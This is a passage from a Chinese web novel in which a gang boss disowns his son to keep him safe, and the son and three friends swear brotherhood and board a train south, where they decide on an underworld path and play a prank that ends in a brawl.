五爷站起身,走到巨大的落地窗前,望着外面精心修剪的庭院,背影透着一股枭雄的孤傲与决绝:“万一不是呢?就算真是,”他声音斩钉截铁,“我也要把那藏在阴沟里的杂碎,给引出来!”保镖不再多言,悄无声息地退下,融入阴影之中。
慕容廷回到自己的别墅,第一件事,便是拨通了五爷的电话。电话那头五爷的“默认”,反而让慕容廷心中疑云更重。他放下电话,眉头紧锁。陈海推门进来,脸上同样带着凝重:“这老狐狸到底打的什么算盘?”
“不知道!”慕容廷烦躁地扯开领口,“但肯定没憋好屁!”他走到巨大的落地窗前,俯瞰着脚下的城市灯火,“啊海,动手前我派人盯着各市的动静。你猜怎么着?除了重市、成市,还有陈凡的曲市按兵不动,其他那些个市,全都蠢蠢欲动,想趁火**,分吉市一杯羹!”他转过身,眼神如鹰隼,“结果呢?谁也没想到我们一天就端了刘文殊的老巢!这意味着什么?”
陈海脸色骤变,倒吸一口凉气:“意味着重市、成市,都是他掌控的地盘?
“没错!”慕容廷一拳砸在厚重的红木桌面上,发出沉闷的响声,“离得越近,越觉得这潭水深不见底!龙五远比我们想象的要可怕得多。”他眼中燃烧的复仇火焰被一丝冷静取代,“看来计划必须推迟了。”
陈海沉重地叹了口气:“是啊,我们暗中积蓄力量十年,自以为羽翼渐丰,能与之掰掰手腕了。现在看来…”他摇摇头,未尽之语满是苦涩。
慕容廷走到一个檀木盒子旁,打开。一枚鸡蛋大小、在灯光下流转着温润如月华般光晕的夜明珠静静躺在丝绒衬垫上。他拿起珠子,入手温凉,光华流转,映得他冷峻的眉眼也柔和了一瞬。
“把这个,送去给小凡。”慕容廷将夜明珠递给陈海,语气郑重,“替我谢谢他这次的援手,告诉他,过几日,我亲自登门道谢。”
陈海接过这价值连城的宝物,脸上却毫无波澜,仿佛只是接过一个普通包裹。他点点头,转身快步离去。
厚重的书房门关上,隔绝了外界的一切声响。慕容廷独自站在巨大的窗前,窗外是繁华的都市夜景,灯火璀璨,却照不进他眼底的深沉黑暗。复仇的火焰暂时被压下,但从未熄灭。他像一头暂时归巢舔舐伤口的猛虎,目光穿透重重夜色,投向那积压了十几年血债的深渊,新的谋划,已在无声的寂静中悄然展开。
第三十九章:诀别泪
书房沉重的木门被推开,张霆琛带着一丝不易察觉的怯意走了进来。“爸!”他声音干涩地唤了一声。
听到声音,他缓缓转过身,锐利的目光直直刺向张霆琛。室内只开着一盏台灯,昏黄的光线将他半边脸隐在阴影里,更添几分肃杀。
“知道**不少兄弟因为什么吗?”慕容廷的声音不高,却像重锤敲在寂静的空气里,每一个字都带着沉甸甸的寒意。
张霆琛身体几不可察地一颤,指甲深深掐进掌心,低下头,声音沙哑而破碎:“知道…因为我没用!”
“知道就好!”慕容廷猛地提高了声调,像惊雷炸响。他几步走到张霆琛面前,居高临下地看着他,眼中没有丝毫温度,只有一种近乎残忍的决绝,“过两天你就给我离开容市!我在广市给你找了个学校,滚去那儿上学!从今往后,我慕容廷没有你这个儿子!你给我滚出去!”
“爸!”张霆琛如遭雷击,整个人瞬间僵住,脸色“唰”地变得惨白。那“断绝父子关系”几个字,像最锋利的冰锥,狠狠扎进他心脏最柔软的地方。巨大的恐惧和难以置信瞬间淹没了他。他几乎是扑了上去,双手死死抓住慕容廷的胳膊,像抓住即将沉没的浮木,声音带着撕裂般的哭腔:“爸!你不能不要我!我错了!我以后听话,我一定听话!求求你别赶我走!爸——!”滚烫的泪水汹涌而出,顺着他年轻却写满惊恐的脸颊肆意流淌,他胡乱地用手背抹着,却越抹越多。
慕容廷猛地一甩手,力道之大,将张霆琛踉跄着推开几步。“来人,把他拉出去!”他厉声喝道,声音因压抑的某种情绪而微微发颤。
门口两个穿着黑西装的保镖应声而入,看到屋内情景,面面相觑,一时竟不敢上前。“都他妈聋了吗?!把他给我拖出去!马上!”慕容廷额角青筋暴起,指着门口咆哮,那暴怒的模样像是要择人而噬。
保镖再不敢迟疑,一左一右架住了张霆琛的胳膊。“爸!爸!我求你了!让我留下吧!我不要走!”张霆琛双脚离地,徒劳地挣扎踢打,哭喊声撕心裂肺,充满了绝望。他被强行拖向门口,视线却死死钉在慕容廷脸上,祈求着哪怕一丝一毫的松动。
然而,慕容廷只是背过身去,再次面朝窗外。那挺直的背影,像一尊冰冷无情的铁铸雕像,将张霆琛最后一点希望彻底碾碎。门被关上,隔绝了那令人心碎的哭喊。书房里死一般寂静。慕容廷依旧背对着门口,肩膀几不可察地微微耸动了一下。良久,一滴浑浊的泪水,悄无声息地从他布满血丝的眼角滑落。
张霆琛如同被抽走了所有力气,失魂落魄地走向自己那栋精致的小别墅。眼泪模糊了视线,世界在他眼前扭曲变形。刚进门,早已等得焦心的李辰浩、苏旭和陈曦立刻围了上来。
“琛哥!你怎么了?”“出什么事了?谁欺负你了?”张霆琛仿佛没听见,径直穿过他们,一头扑倒在自己的床上,将脸深深埋进枕头里。压抑已久的巨大悲伤终于找到了宣泄口,他肩膀剧烈地抽动,是那种痛到极致、无法抑制的失声痛哭,仿佛要把五脏六腑都哭出来。
没过多久,门被轻轻推开。薛妈那慈祥却此刻写满忧虑的脸庞出现在门口,身后跟着眉头紧锁的慕容景云。薛妈无声地叹了口气,走到床边坐下,布满皱纹的手温柔地拍抚着张霆琛剧烈起伏的背脊。
“孩子,起来,听薛妈跟你说几句。”薛妈的声音带着一种奇异的安抚力量。听到是薛妈的声音,张霆琛像抓住了救命稻草,猛地坐起身,一头扎进薛妈温暖的怀里,紧紧抱住,仿佛溺水的人抓住唯一的依靠。他哭得上气不接下气:“薛妈,为什么,为什么会这样啊,爸他不要我了…”
薛妈搂着他,眼中也泛起了泪光,声音低沉而清晰:“傻孩子…都是为了保护你啊!你父亲他不得不这么做!不让你痛彻心扉,你怎么能真正明白现实的残酷?你从小到大,谁敢动你一根手指头?第二天他们的家长就得提着礼物来给你赔罪!你活在一张无形的保护网里,根本不知道外面的世界有多凶险!他今天对你越冷酷,越是跟你撇清关系,外人才越不会把你和他联系起来!只有这样,你才能平平安安地离开这个家,离开容市这个漩涡中心!那些仇家,才不会把矛头对准你!你才能活下去啊!”
她顿了顿,声音更轻了,带着一丝无奈:“这些…本不该告诉你的。但薛妈看你这样心里刀割一样只盼你能明白你爸的苦心,心里好受些…”
一旁的慕容景云也沉重地开口,拍了拍张霆琛的肩膀:“小弟,坚强点吧。我去劝过老头子,没用。从今往后,你就是你自己了。没人再替你挡风遮雨,你得学着独立,学着照顾自己。”
薛妈的话像一道惊雷,劈开了张霆琛心头的绝望迷雾。他猛地抬起头,脸上泪痕交错,眼神却从极度的悲伤转为一种混乱的震惊和茫然。保护?疏远?为了让他活下去?这些信息在他脑中激烈地碰撞。突然,他像是无法承受这巨大的冲击,猛地推开薛妈,像一头发疯的小兽,赤红着眼睛,不顾一切地冲出房门!
慕容景云下意识要追,却被薛妈一把拉住,她含着泪摇摇头:“让这几个孩子去吧…”话音未落,李辰浩三人早已如离弦之箭般追了出去。
张霆琛冲出别墅,拦下一辆出租车,嘶哑地喊出一个城郊的地名。李辰浩他们紧随其后,也拦车追赶。城郊的小河在夕阳下泛着粼粼波光,水流安静地流淌,带着一种与世无争的平和。张霆琛独自坐在河边的草地上,抱着膝盖,背影显得异常单薄而孤独。夕阳把他的影子拉得很长,晚风吹乱了他额前的碎发。
没过多久,急促的脚步声由远及近。李辰浩、苏旭、陈曦气喘吁吁地跑过来,看到他的身影,才松了口气。他们没有立刻说话,只是默默地走到他身边,挨着他坐下,像三堵沉默却坚定的墙。
河水潺潺,晚风拂过草叶发出沙沙的轻响。过了许久,张霆琛才低低地开口,声音带着浓重的鼻音和一种认命的疲惫:“我要走了。以后不知道还能不能回来。你们没事了,能去找我玩吗?”
话音未落,李辰浩猛地侧身,毫无预兆地一拳砸在张霆琛的脸颊上!力道不轻,打得张霆琛头一偏。“操!”李辰浩红着眼睛,一把揪住张霆琛的衣领把他拽起来,几乎是咆哮着吼道:“**想丢下我们是怎么着?!张霆琛你给老子听好了!不可能!**在哪,我李辰浩就在哪!上天入地,老子都是你张霆琛的兄弟!这辈子都他妈别想甩开!”
这一拳和怒吼,像点燃了引线。苏旭和陈曦也站起来,眼神灼灼,异口同声地吼道:“对!我们是你张霆琛的兄弟!”“你到哪,我们到哪!生在一块儿,死也在一块儿!绝不分离!”
张霆琛捂着火辣辣的脸颊,看着眼前三张年轻、愤怒却又无比真挚的脸庞,那眼神里的坚定像熊熊燃烧的火焰,瞬间驱散了他心中最后一丝阴霾。一股滚烫的热流从心底直冲眼眶,那是比刚才的绝望更汹涌的感动。
李辰浩松开他的衣领,用力按住他的肩膀,眼神炽热而充满力量:“小琛,别他妈垂头丧气!给老子打起精神来!去外地怎么了?正好!做出个样子给他们所有人看看!等哪天**衣锦还乡,风风光光地站在这儿,看谁还敢觉得你是个需要人护着的
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雏儿!用你的本事,堵住所有人的嘴!”
这句话,像一把重锤,狠狠砸在张霆琛心坎最深处!一股前所未有的豪情和斗志,如同岩浆般喷薄而出,瞬间点燃了他的血液!
他看着这三个生死相随的兄弟,再没有任何保留。他第一次,毫无隐瞒地,讲述了自己的**,那个被刻意遗忘的名字,慕容景琰。
李辰浩听完,猛地一拍自己脑门,恍然大悟:“我靠!我就说薛妈怎么老叫你小琰!原来你真名叫慕容景琰!这名字**的帅炸了!”
苏旭也瞪大眼睛,用力点头:“是啊!慕容景琰!这名字一听就霸气!比张霆琛拉风多了!”
张霆琛却苦涩地摇摇头:“可是我不配叫这个名字,慕容家没有我这样的废物儿子”
“放屁!”李辰浩的手再次重重压在他的肩上,目光如炬,斩钉截铁:“虽然按年纪我叫你一声小琛,但咱们心里都跟明镜似的!你为我们几个,连命都敢豁出去!你救过我李辰浩的命!也救过小旭!你对我们的恩情,比山重!但我们跟着你,不只是为了报恩!”他环视苏旭和陈曦,三人目光交汇,心意相通,“更要报答你给我们的这份情!这份比亲兄弟还亲的情!所以,以后我们跟定你了!刀山火海,奉陪到底!”
慕容景琰的泪水再次涌了上来,声音哽咽:“我不希望我们在一起,只是因为恩情…”苏旭上前一步,眼神清澈而坚定:“是恩情让我们有机会认识你,聚在一起。但让我们愿意生死相随的,只因为我们是兄弟!是过命的兄弟!”李辰浩和陈曦用力点头,眼神中没有一丝一毫的犹疑。
看着他们眼中那不容置疑的赤诚,慕容景琰再也抑制不住翻腾的情感。他张开双臂,将三人紧紧、紧紧地抱住!像要把所有的感激、所有的委屈、所有的决心都融进这个拥抱里!滚烫的泪水汹涌而出,滴落在彼此的肩头。紧接着,李辰浩、苏旭、陈曦的眼眶也瞬间红了,压抑的抽泣声在寂静的河边响起。四个年轻的身影紧紧相拥,任泪水冲刷着心中的块垒,也冲刷出一个全新的、充满力量的开始!
一场酣畅淋漓的痛哭之后,慕容景琰猛地抬起头,用力擦干脸上的泪痕。夕阳的余晖映照在他脸上,那双曾被泪水洗过的眼睛,此刻燃烧着前所未有的火焰,亮得惊人!他对着奔流的河水,对着辽阔的天空,对着身边的兄弟,用尽全身力气嘶吼:
“我要出人头地!我要衣锦还乡!我要让所有人知道,我慕容景琰,不需要任何人的保护!我自己就是最强的!”
吼声在河岸回荡,激荡人心!
李辰浩、苏旭、陈曦也擦干眼泪,眼神变得无比坚毅。四人同时伸出右手,掌心向下,紧紧叠握在一起!四只年轻的手,汇聚成一股不可分割的力量!
李辰浩深吸一口气,用嘶哑却无比洪亮的声音领喊“一!”苏旭和陈曦立刻跟上“二!”四人同时用尽生命的力量咆哮:“三!”“绝不分离!出人头地!”
誓言如同惊雷,炸响在黄昏的河岸,带着破釜沉舟的决绝和青春无畏的豪情!
慕容景琰猛地转身,面向那条承载了他太多复杂心绪的小河。他挺直了脊梁,像一柄即将出鞘的利剑。晚风吹起他额前的黑发,露出那双燃烧着熊熊火焰的、无比坚定的眼睛。他用尽全身的力气,对着潺潺流水,对着即将沉入地平线的夕阳,对着他即将告别的故乡,发出了他生命中最响亮的宣告:
“我会回来!记住我的名字!我叫慕容景琰!早晚有一天,我会用这个名字,堂堂正正地回来!”声音穿透暮色,久久不息,仿佛一个时代的序章,正在这河畔轰然奏响。
第四十章:少年江湖路
车轮撞击铁轨发出单调而有力的哐当声,窗外飞速掠过的田野和电线杆在黄昏的光线下拉长了影子。苏旭的母亲最终没有挽留他,只是用力捏了捏他的手,眼中含着不舍却更盛着期盼,她希望儿子能和朋友一起闯出一片天。陈曦的父亲同样点了头,女儿去远方求学,至少能避开眼下的风浪。薛妈会留下照顾苏母,虽然苏母已能自理,但多个人守着,总归多一份安心。
四个年轻人,怀揣着出人头地的心,踏上了南下的火车。他们在慕容景云几乎磨破了嘴皮子的劝说下,慕容廷才勉强松口,替他们买到了四张硬卧车票。行李几乎空空如也,最重的行李是压在胸口那份沉甸甸的决心。
车轮缓缓启动,带着他们驶离了熟悉的城市和庇护的港湾。每个人脸上都写满了复杂的情绪,有不舍,有迷茫,但更多的是对未知的兴奋和对未来的渴望。李辰浩紧抿着唇,望着窗外飞速**的站台灯光,他从未如此远离过家。尽管相识不过数月,共同经历的惊心动魄早已在他们之间熔铸了远超时间的深厚情谊。
张霆琛仰面躺在中铺上,双手枕在脑后,眼睛盯着车顶斑驳的污渍,声音闷闷地传来:“都走了,我爸连最后一眼都没看我。”那声音里透着一丝不易察觉的受伤和倔强。
下铺的李辰浩摇摇头,收回目光,语气带着点自嘲:“别说你了,咱们谁不是这样?都没人送,彻底‘消失’嘛。”他拍了拍硬邦邦的床铺。
“就是!”对面的下铺,苏旭立刻附和,他盘腿坐着,手肘撑在小桌板上,侧头看向身边倚着车窗的陈曦,脸上努力挤出轻松的笑容:“我妈也没来!这都是为了咱们好,彻底保护!对吧媳妇?”他忽然凑近陈曦,语气变得讨好,“想吃点啥不?我去餐车给你瞧瞧!”
陈曦正出神地看着窗外渐渐浓郁的暮色,闻言转过头,没好气地白了他一眼:“我想吃鲍鱼,你也得买得着啊!”她小巧的鼻子微微皱起。
苏旭嘿嘿一笑,拍着胸脯,带着点少年人的豪气:“等着!下了车,咱们第一顿就去吃鲍鱼!管够!”
“得了吧你!”陈曦毫不客气地戳破他的豪言壮语,伸出一根手指戳了戳他的胳膊,“没听大人们说吗?以后咱们一个月每人就五百块生活费!你这一顿鲍鱼下去,这个月咱们集体喝西北风去?”她故意板起脸,但眼底却藏着一丝笑意。
李辰浩也坐直了身体,插话道:“是啊,听薛妈提过,咱们到了广市,是住在一对姓张的老夫妇家里,五十多岁,咱们得装成他们的养儿养女。”他的手指无意识地敲着桌面,似乎在盘算着。
“早知道了。”苏旭应道,随即像是想起了什么,眼睛滴溜溜一转,带着探究看向李辰浩:“哎,大哥,薛妈后来把你单独叫走,神神秘秘的,都跟你说啥了?”
李辰浩眼神闪烁了一下,有些不自然地摸了摸后脑勺,干笑两声:“咳,没啥,就嘱咐了几句路上小心呗……”他避开了苏旭灼灼的目光。
苏旭夸张地拉长了语调,一脸信你才怪的表情:“哦是吗?行行行,你不说拉倒!”他立刻转移目标,仰头看向中铺的张霆琛,声音拔高了些:“二哥!你可是跟不少人都单独密谈过啊,都交代你啥了?”
张霆琛刚想开口,就被陈曦清脆的声音打断了:“我说苏小旭,你怎么这么八卦,什么都想知道?再问东问西,小心我把你再塞回那辆破货车里!”她佯装凶狠地瞪着他,随即话锋一转,带着狡黠,“倒是你,跟那个海叔嘀嘀咕咕半天,聊了什么?”
“嘿!我苏旭人送外号江湖百晓生!打听打听怎么了?”苏旭梗着脖子,对着下铺的陈曦扬起下巴,一副理直气壮的样子。“好你个苏旭,敢跟我顶嘴了是吧?”陈曦作势就要站起来,粉拳**性地举起来,嘴角却忍不住微微上翘。
“好了好了,都消停会儿。”张霆琛他坐起身,目光扫过三人,打断了这他俩的拌嘴,“闹腾什么,想想正事吧,以后怎么办?怎么才能混出个人样。”他的眼神锐利起来。
李辰浩立刻接话,伸出两根手指,神情严肃:“两条路!”
“哪两条?”苏旭追问,也收起了嬉笑。“第一条,走官道。第二条,走黑道!只有这两条路,才能最快掌握足够的力量,不再被人像棋子一样挪来挪去!”
张霆琛眼中闪过一丝凌厉:“官道?太慢了,熬资历、看背景,等我们爬上去,黄花菜都凉了!我等不了!”他斩钉截铁地说。
李辰浩点点头,目光也变得坚定:“那就不废话,走黑道!像你爸那样,咱们兄弟几个一起干!”他拳头轻轻砸在小桌板上。
“对!走黑道!咱们一起干!”苏旭热血上涌,也挥了挥拳头,想起鬼发那张阴鸷的脸,恨恨道,“想起那个鬼发,我就恨不得……”
一直沉默的陈曦这时抬起头,秀气的眉毛微蹙,带着点委屈和担忧,小声嘟囔:“你们都要走黑道,那我怎么办啊?我可没有薛妈那身手……”她下意识地抱紧了膝盖。
张霆琛看向她,眼神温和了些许,语气沉稳:“小曦,你不用跟我们一样。你只需要安心读书,好好学本事。我爸身边那些管公司的、管钱的、打官司的,都是靠脑子吃饭的白纸扇,等咱们的盘子做大了,最缺的就是一个绝对信任、又有本事的人来管账、打理台面上的生意。”他描绘的图景清晰而务实。
陈曦的眼睛瞬间亮了,刚才的阴霾一扫而空,她挺直腰板,带着点小得意:“行!那就这么说定了!以后你们的钱,统统归我管!”她伸出手掌,掌心向上。
“对对对!我媳妇管钱,天经地义!”苏旭立刻眉开眼笑地附和。“你高兴个什么劲儿?”陈曦眼波流转,斜睨着他,“我管钱跟你有什么关系?拿来!”她纤细的手指勾了勾,带着不容置疑的命令口吻,“敢违抗哥哥姐姐们的命令吗?”她故意把哥哥姐姐几个字咬得重重的。
苏旭的脸顿时垮了下来,磨磨蹭蹭地从贴身口袋里掏出几张皱巴巴的钞票,依依不舍地放到陈曦掌心。张霆琛和李辰浩相视一笑,也默契地从各自身上掏出钱来,递给了这位新上任的财务总监。陈曦盘腿坐在铺上,满意地一张张数着,嘴角弯起好看的弧度。
李辰浩看向张霆琛,压低声音问:“小琛,具体有什么想法没?”张霆琛嘴角勾起一抹冷峻又自信的弧度,眼中闪烁着狼一般的光芒:“第一步,先把学校这块地盘踩实了!如果连一个学校都玩不转,拿什么去跟外面那些老狐狸斗?学校,就是我们的第一块试金石!”
车厢里安静了片刻,只剩下车轮有节奏的轰鸣。一直有些沉默的苏旭忽然抬起头,他的眼神不再是之前的跳脱,而是沉淀着一种与他年龄不符的认真和决心。他深吸一口气,声音不高,却清晰地传到每个人耳中:“我们经历
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了那些事,早就不是普通的小孩了。我和二哥…”他看了一眼张霆琛,“再也不是那个只会哭鼻子的软蛋了。我想保护你们,保护大家,不想总是被你们保护在身后。”他的目光扫过陈曦、李辰浩,最后又回到张霆琛脸上,“可我不知道怎么才能变强。所以,我去找了海叔。”
陈曦、张霆琛、李辰浩都停下了动作,惊讶地看着他。眼前这个严肃、甚至带着点陌生的苏旭,让他们有些不适应。苏旭迎着他们的目光,继续说道:“我问海叔,为什么那个叫鬼发的,能摸清我们的动向,轻易地把我们抓走?海叔只说了两个字:侦察!在那一刻,我明白了!如果我能学到侦察的本事,看得清周围,能嗅得出危险,我就能把那些藏在暗处、想害我们的人揪出来,在他们动手之前就解决掉!所以我做了个决定”
车厢里的空气仿佛凝固了。陈曦数钱的手僵在半空,张霆琛微微蹙眉,李辰浩屏住了呼吸。“我要去当兵。”苏旭的声音清晰而有力,“当一个侦察兵。刚才你们说我们要走黑道,那就更需要一双藏在暗处的眼睛,一对能探听风声的耳朵!我要去学这个本事,我要保护大家!”
“当兵?!”陈曦惊呼出声,手里的钞票差点散落,她猛地抓住苏旭的手臂,“小旭,你要走多久?!”她的声音带着一丝不易察觉的颤抖。
“不知道。”苏旭看着陈曦瞬间泛红的眼圈,心里一紧,但还是坚定地说,“等我学成了,就一定会回来!最晚不会等你们高中毕业!”他试图给出一个承诺。
张霆琛和李辰浩沉默着。他们看着苏旭眼中那份不容置疑的决心,那是一种男人下了狠心才会有的光芒。阻拦?他们知道那是对他选择的侮辱。张霆琛沉声问,带着一丝现实的考量:“你年纪这么小,现在怎么去?”
苏旭脸上终于露出一丝熟悉的、带着点狡黠的笑容,他拍了拍胸脯:“所以啊,我早就搞定了!我上午求了你哥慕容景云,他下午就给我办妥了!只要明年暑假去报到就行!”他兴奋地补充,“你哥真不是盖的!就是具体去哪个军区还没定下来。”
陈曦低下头,长长的睫毛垂下来,遮住了眼中的失落,声音闷闷的:“你走了我怎么办……”手指无意识地绞着衣角。苏旭心软了,他挪过去,轻轻握住陈曦的手,看着她,眼神温柔却无比认真:“媳妇,为了保护大家,保护你,我必须去!这是我能想到的最快变强的路。你能理解吗?”
陈曦抬起头,眼圈还红着,却努力扯出一个笑容,那笑容里有苦涩,更有一种释然和骄傲。她反握住苏旭的手,用力点点头:“嗯!我果然没看错人!”她忽然凑近他耳边,声音带着一丝羞涩和威胁,却又无比清晰:“来,今天便宜你,让你搂着我睡,不过,不准乱碰!敢不老实,小心我……”她做了个剪刀的动作,眼神却亮晶晶的。
苏旭先是一愣,随即发出一声压抑着兴奋的低嚎,像只敏捷的猴子,哧溜一下就从上铺翻到了陈曦的下铺。张霆琛和李辰浩非常识趣地同时转过身去,面朝墙壁,假装什么也没看见。只隐约听见陈曦压低声音的警告:“爪子规矩点!不然……”
车轮依旧向前奔行,载着四个少年少女,也载着他们刚刚在摇晃的列车上、在昏暗的灯光下、在青涩又坚定的誓言中,共同绘就的未来蓝图,一条通往荆棘与未知,却也充满热血与希望的路。
第四十一章:借火风波
午夜时分,车厢里一片昏暗,只有过道尽头安全出口的幽绿微光勉强勾勒出轮廓。张霆琛被尿意憋醒,迷迷糊糊地摸索着下铺,趿拉着鞋子走向车厢连接处的厕所。狭小的空间里,只有他放水的哗哗声打破沉寂。
突然,隔板外传来一阵粗鲁的咒骂,在空旷的车厢连接处显得格外刺耳:“今天听见几个小兔崽子在那儿吹牛逼,说什么混黑道,还叽里咕噜一堆鸟语!一帮不知天高地厚的傻玩意儿!”
张霆琛眼皮都没抬一下,只是嘴角撇过一丝不易察觉的冷笑。这种大话他听得多了,没混出个名堂之前,都是屁话。他懒得理会,提上裤子,拧开锈迹斑斑的水龙头洗手。
推开厕所门,一股浑浊的烟味混杂着厕所消毒水的气味扑面而来。一个身影斜倚在门框上,挡住了半边去路。那人看起来比张霆琛大不了几岁,穿着件皱巴巴的T恤,头发油腻地搭在额前,眼神里带着点不耐烦的戾气。
“哥们儿!”那人叼着根没点燃的烟,含糊地开口,声音沙哑,“借个火儿使使。”张霆琛脚步顿住,脸上习惯性地堆起一个温和无害的笑容,声音清晰:“对不住啊哥,我不抽烟。您问问别人?”说完就要侧身挤过去。
那人啐了一口,烟屁股在嘴里烦躁地动了动,“**费劲!还得回去翻?”他眼珠子一转,猛地伸手拦住张霆琛的去路,语气带着命令式的强硬:“那你去!给我去1排拿个火儿来,要不就现在给我借一个!麻溜点儿!”
张霆琛脸上的笑容瞬间淡去,像被风吹散的薄雾。他侧过头,目光平静地扫过对方那张带着挑衅的脸,什么也没说,只是眼神深处掠过一丝冰冷的漠然。跟这种虚张声势的货色计较?掉价。他肩膀微微一沉,灵活地从对方臂弯下钻过,径直朝自己铺位走去,把那句不疼不痒的威胁和身后恼羞成怒的骂骂咧咧甩在昏暗里。
回到自己的铺位隔间,李辰浩正靠着壁板,借着窗外闪过的稀疏灯光翻看一张破报纸,显然也没睡着。“大哥,就非得抽烟吗?”张霆琛爬上铺,声音不高,带着点困惑和嘲讽,“然后摆出一副很拽的样子?”
李辰浩合上报纸,黑暗中传来他低沉的笑声:“谁知道呢。不过我知道,不是大哥的人,肯定也抽,而且,”他顿了顿,语气带着洞悉世事的调侃,“表面上,往往比真大哥更他妈嚣张!”
话音未落,隔间的布帘地被粗暴地掀开!刚才厕所门口那张油腻的脸赫然出现,带着被点燃的怒火,手指几乎戳到李辰浩鼻子上:“操!**说谁呢?!”
张霆琛和李辰浩同时愣住,面面相觑,一头雾水。这家伙怎么跟来了?原来,那人被张霆琛无视后,心头一股邪火没处发,越想越窝囊,觉得这学生仔模样的家伙肯定好欺负,便一路尾随过来,想找个由头教训一下出出气。刚摸到隔间门口,就听见了“不是大哥的人更嚣张”这句,顿时像被踩了尾巴的猫,认定是在影射自己!
“行!有种!”那人恶狠狠地指着上下铺的张霆琛和李辰浩,“有种给老子下来!吸烟区等着你!不来?哼哼,等着死吧你!”撂下狠话,他猛地一甩帘子,气冲冲地走了。
李辰浩看向上铺的张霆琛,眉头微皱:“这唱哪出?”张霆琛耸耸肩,一脸无辜:“谁知道,好像就让我给他拿打火机来着?”
“那去不去?”李辰浩问。张霆琛叹了口气,语气透着无奈:“去吧,不然这狗皮膏药还得黏着。林子大了,真是什么鸟都有。”他利落地翻身下铺。
脚刚沾地,张霆琛眼中忽然闪过一丝狡黠的光,他一把拽过李辰浩,凑到他耳边,压低声音飞快地嘀咕了一串话。李辰浩听着听着,眼睛越瞪越大,最后“噗嗤”一声,赶紧捂住嘴,肩膀剧烈地抖动起来,差点笑岔气:“我靠,这能行?”张霆琛嘴角勾起一抹坏笑,自信地打了个清脆的响指:“信我,妥!”说完,他转身就去推旁边睡得正香的苏旭。
苏旭被推醒,迷迷瞪瞪地坐起来,揉着惺忪的睡眼,声音含混:“嗯?到站了?这么快……”李辰浩憋着笑:“没呢,但有点急事,必须现在跟你说。”张霆琛赶紧接话,语气带着一丝神秘和紧张:“走,出来点聊,别吵醒小曦。”他朝苏旭旁边的陈曦努努嘴。
苏旭不明所以,但还是迷迷糊糊地跟着两人溜出来,走到过道稍远处,张霆琛警惕地回头望了一眼,确保陈曦没醒,才压低声音,一脸凝重地对苏旭说:“有情况!”
“啥情况?”苏旭的睡意瞬间被情况二字驱散大半,精神一振。
张霆琛凑得更近,声音压得极低,带着煽动性:“刚有个**,看上小曦了!还放话说要跟你单挑决斗!说你要是不去,就是孬种!”
“什么?!”苏旭的睡意瞬间被怒火烧得干干净净,拳头一下子攥紧了,“谁啊?在哪儿?”李辰浩在一旁适时地添油加醋,还故意摆出生气的样子:“就厕所那边吸烟区!看着年纪不大,狂得很!这种事我们俩外人真不好插手,只能叫你了。他说了,是男人就一对一!”
苏旭热血上涌,转身就要冲过去,刚迈出两步又猛地刹住车,回头问:“他们几个人?”李辰浩立刻义愤填膺地接道:“管他几个人!就算有一万个,为了媳妇儿的尊严,这架也得干!是爷们儿就不能怂!”
这话像一剂强心针,打得苏旭晕头转向又热血沸腾,他重重点头,猛地一撸袖子,大步流星地朝着烟雾缭绕的吸烟区杀了过去。
李辰浩看着苏旭的背影,用手肘捅了捅张霆琛,小声嘀咕:“喂,是不是有点过了?万一小旭吃亏怎么办?还有,你说你麻木了不怕了,跟坑小旭有啥关系?”
张霆琛看着苏旭雄赳赳的背影,嘴角的坏笑更深了:“关系大了!就因为麻木了,不怕了,才敢开这种玩笑啊!放心,”他眼神扫过吸烟区方向,语气笃定,“那货色,一看就不是小旭的对手,就算大几岁也是白给。”
李辰浩无奈地摇摇头:“服了你了,赶紧过去看看,别真闹大了!”说完,他先一步小跑着跟了上去。看着李辰浩的背影,张霆琛心里涌起一种奇异的轻松感。他从小就被沉重的枷锁束缚着,如今离家,虽然前路迷茫,但那份要出人头地的野心却像**,让他有种挣脱束缚、释放天性的快感。这种恶作剧般的玩笑,是他过去压抑生活中绝不敢想象的。
当张霆琛和李辰浩小跑着赶到吸烟区门口时,眼前的一幕让两人瞬间石化,张霆琛更是惊得脖子伸长,下巴都快掉地上了,只见苏旭正骑在一个比他高大的家伙身上,左右开弓地扇着耳光!旁边还歪倒着一个,看样子刚被撂翻不久。苏旭一边扇,嘴里还一边念念有词,带着刚睡醒的懵懂和满腔被欺骗的怒火:“叫你单挑!叫你决斗!叫你打我媳妇主意!还决斗
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不?还单挑不?!”手上的动作一点停下的意思都没有。
“**!够了够了小旭!”张霆琛一个箭步冲上去,赶紧从后面抱住苏旭的腰把他往后拖。李辰浩也赶紧去查看地上那俩倒霉蛋。张霆琛把气呼呼的苏旭拉开,自己蹲到那个被打得晕头转向的人面前,脸上挂着一种混合着歉意和戏谑的古怪笑容,拍了拍他的肩膀:“兄弟,对不住啊,火儿是没借来,这火气倒是给您送来了,呵呵”说完,也不管对方什么反应,拉着还在发懵的苏旭,招呼李辰浩,三人迅速撤离。
地上那俩家伙彻底懵了,捂着火辣辣的脸,眼神呆滞,仿佛还没从刚才那**般的袭击中回过神。他们大概这辈子也没见过这么生猛、这么不讲道理、还带着起床气的小年轻。
回到隔间,张霆琛再也憋不住了,一把搂住苏旭的脖子,整个人笑得直不起腰,肩膀疯狂抖动。李辰浩也扶着壁板,笑得眼泪狂飙,捂着肚子哎哟哎哟叫唤。
苏旭被他们笑得莫名其妙,一脸茫然地推开张霆琛:“我为我媳妇儿而战,你们俩笑屁啊?!”等张霆琛喘着粗气,断断续续地把借火引发的真相和盘托出后,苏旭的脸瞬间由茫然变成羞愤,再由羞愤变成暴怒!
“张霆琛!”苏旭低吼一声,像头被戏耍的豹子,猛地扑上去把张霆琛按倒在铺位上,开始了惨无人道的“蹂躏”挠痒痒、锁喉、疯狂揉头发……张霆琛自知理亏,一边抵挡一边笑得上气不接下气,竟也破天荒地没叫援兵,心甘情愿地承受着苏旭的“报复”。
这边闹得正欢,动静终于把下铺的陈曦吵醒了。她揉着眼睛坐起来,看着滚作一团的张霆琛和苏旭,还有一旁笑岔气的李辰浩,疑惑地问:“你们几个大半夜不睡觉,抽什么风呢?”
苏旭一听,立刻放开“半死”的张霆琛,委屈巴巴地扑到陈曦床边,指着后面两个“罪魁祸首”告状:“曦曦!都怪他俩!合起伙来骗我!”他添油加醋地把“为爱决斗”的乌龙事件说了一遍。
陈曦听完,漂亮的眉毛一挑,非但没安慰,反而伸出纤纤玉指,使劲戳了一下苏旭的额头,嗔怪道:“就你蠢!这种鬼话也能信?!被人当枪使了都不知道!”
